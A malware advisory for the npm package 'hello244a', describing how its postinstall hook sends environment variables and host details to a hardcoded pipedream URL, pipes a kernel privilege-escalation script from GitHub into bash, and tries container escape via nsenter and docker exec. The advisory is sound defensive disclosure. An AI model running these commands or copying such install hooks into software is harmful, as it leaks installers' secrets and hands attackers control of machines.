🛡️ MAL-2026-5188 — hello244a (CVE-2021-22555)

Malicious code in hello244a (npm)

Source: amazon-inspector

package.json declares a postinstall script that, on npm install, (1) enumerates process.env plus os.hostname(), os.platform(), os.arch(), and whoami output, base64-encodes the collected data, and issues an HTTP GET to a hardcoded pipedream request-bin at http://eodxy50gl486xrx.m.pipedream.net/, exfiltrating installer environment variables and host identity to an attacker-controlled endpoint over cleartext HTTP; (2) on Linux, executes curl -s https://raw.githubusercontent.com/Akabe1/akabe1.github.io/master/_posts/exploits/cve-2021-22555/exploit.sh | bash, fetching and running an unpinned third-party shell script referencing a known Linux kernel local-privilege-escalation CVE; (3) attempts container/sandbox escape via nsenter --mount=/proc/1/ns/mnt -- /bin/sh on Linux and docker exec against running containers on Windows, with results reported back to the same pipedream endpoint. Behavior fires automatically on npm install with no user interaction. Installer harm is concrete: environment variables (which routinely contain credentials, tokens, and CI secrets) plus host identity are leaked to the attacker, and arbitrary attacker-controlled code executes in the installer's user context with privilege-escalation and container-escape attempts.

Source: ghsa-malware

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source: ossf-package-analysis

The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.
• The package executes one or more commands associated with malicious behavior.